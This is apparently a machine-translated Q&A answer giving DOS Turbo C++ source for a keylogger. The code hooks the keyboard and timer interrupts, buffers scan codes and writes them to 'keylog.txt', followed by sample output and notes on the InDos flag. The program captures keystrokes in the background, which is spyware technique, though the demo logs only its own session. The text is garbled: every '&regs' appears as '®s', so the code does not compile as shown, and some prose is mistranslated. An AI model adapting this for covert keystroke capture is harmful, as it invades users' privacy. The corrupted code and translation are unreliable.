Вот как это сделать:
// Compile with Borland's Turbo C++ 1.01
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <dos.h>
const char ScanToChar[] =
"??1234567890-=??"
"QWERTYUIOP[]??AS"
"DFGHJKL;\"`?\\ZXCV"
"BNM,./??? ";
void interrupt (*pOldInt9)(void);
void interrupt (*pOldInt1C)(void);
char far* pInDosFlag;
#define SCAN_BUF_SIZE 1024
volatile unsigned char ScanBuf[SCAN_BUF_SIZE];
volatile unsigned ScanReadIdx = 0;
volatile unsigned ScanWriteIdx = 0;
volatile unsigned LogFileHandle;
void DosWriteFile(unsigned handle, void* data, size_t size);
volatile unsigned InDos0cnt = 0;
void TryToSaveLog(void)
{
unsigned cnt;
if (*pInDosFlag)
return;
cnt = (ScanWriteIdx - ScanReadIdx) & (SCAN_BUF_SIZE - 1);
InDos0cnt++;
while (cnt--)
{
static const char hex[] = "0123456789ABCDEF";
char s[80] = "0xXX \"?\"\r\n";
unsigned char scanCode = ScanBuf[ScanReadIdx];
s[2] = hex[scanCode >> 4];
s[3] = hex[scanCode & 0xF];
if ((scanCode & 0x7F) < strlen(ScanToChar))
{
s[6] = ScanToChar[scanCode & 0x7F];
}
DosWriteFile(LogFileHandle, s, strlen(s));
ScanReadIdx++;
ScanReadIdx &= SCAN_BUF_SIZE - 1;
}
}
void interrupt NewInt9(void)
{
unsigned char scanCode = inp(0x60);
ScanBuf[ScanWriteIdx++] = scanCode;
ScanWriteIdx &= SCAN_BUF_SIZE - 1;
pOldInt9();
}
volatile unsigned int1Ccnt = 0;
void interrupt NewInt1C(void)
{
int1Ccnt++;
pOldInt1C();
TryToSaveLog();
}
unsigned DosCreateFile(const char* name)
{
union REGS regs;
struct SREGS sregs;
regs.h.ah = 0x3C;
regs.x.cx = 0;
sregs.ds = FP_SEG(name);
regs.x.dx = FP_OFF(name);
intdosx(®s, ®s, &sregs);
return regs.x.cflag ? 0 : regs.x.ax;
}
void DosWriteFile(unsigned handle, void* data, size_t size)
{
union REGS regs;
struct SREGS sregs;
if (!size) return;
regs.h.ah = 0x40;
regs.x.bx = handle;
regs.x.cx = size;
sregs.ds = FP_SEG(data);
regs.x.dx = FP_OFF(data);
intdosx(®s, ®s, &sregs);
}
void DosCloseFile(unsigned handle)
{
union REGS regs;
struct SREGS sregs;
regs.h.ah = 0x3E;
regs.x.bx = handle;
intdosx(®s, ®s, &sregs);
}
void StartLog(const char* FileName)
{
union REGS regs;
struct SREGS sregs;
LogFileHandle = DosCreateFile(FileName);
regs.h.ah = 0x34; // get InDos flag address
intdosx(®s, ®s, &sregs);
pInDosFlag = MK_FP(sregs.es, regs.x.bx);
pOldInt1C = getvect(0x1C);
setvect(0x1C, &NewInt1C);
pOldInt9 = getvect(9);
setvect(9, &NewInt9);
}
void EndLog(void)
{
setvect(9, pOldInt9);
while (ScanWriteIdx != ScanReadIdx);
setvect(0x1C, pOldInt1C);
DosCloseFile(LogFileHandle);
LogFileHandle = 0;
}
int main(void)
{
char str[256];
StartLog("keylog.txt");
printf("please enter some text:\n");
gets(str);
printf("you have entered \"%s\"\n", str);
EndLog();
printf("int 1Ch count: %u\n", int1Ccnt);
printf("InDos=0 count: %u\n", InDos0cnt);
return 0;
}
Вывод (запуск в Windows XP):
please enter some text:
qweasdzxc123
you have entered "qweasdzxc123"
int 1Ch count: 175
InDos=0 count: 1
КЕЙЛОГ.TXT:
0x10 "Q"
0x90 "Q"
0x11 "W"
0x91 "W"
0x12 "E"
0x92 "E"
0x1E "A"
0x9E "A"
0x1F "S"
0x9F "S"
0x20 "D"
0xA0 "D"
0x2C "Z"
0xAC "Z"
0x2D "X"
0xAD "X"
0x2E "C"
0xAE "C"
0x02 "1"
0x82 "1"
0x03 "2"
0x83 "2"
0x04 "3"
0x84 "3"
0x1C "?"
Здесь есть несколько проблем. Вы не можете использовать некоторые функции DOS, когда он занят. Вот почему я проверяю флаг InDos
. В то же время InDos может показывать, что DOS занята, даже когда она ожидает таких простых вещей, как ввод с клавиатуры (например, в gets()
).
Вот почему существует кольцевой буфер для кодов сканирования, который накапливает их, пока программа не может безопасно вызывать подпрограммы ввода-вывода файлов DOS. EndLog()
ждет, пока буфер не опустеет. Возможно, вам также придется принудительно слить воду раньше.
Я также пытался подключить int 28h в качестве альтернативы int 1Ch, но мой ISR для int 28h так и не вызвался, не знаю почему.
Я избегаю использования C fopen()
и fwrite()
/fprintf()
для файла журнала, чтобы не мешать основной программе, которая не знает о том, что происходит в фоновом режиме. По той же причине в ISR используются только самые простые стандартные функции C.
person
Alexey Frunze
schedule
12.11.2011
int 21
из обработчикаint 9
, и он не взорвался? - person ninjalj   schedule 12.11.2011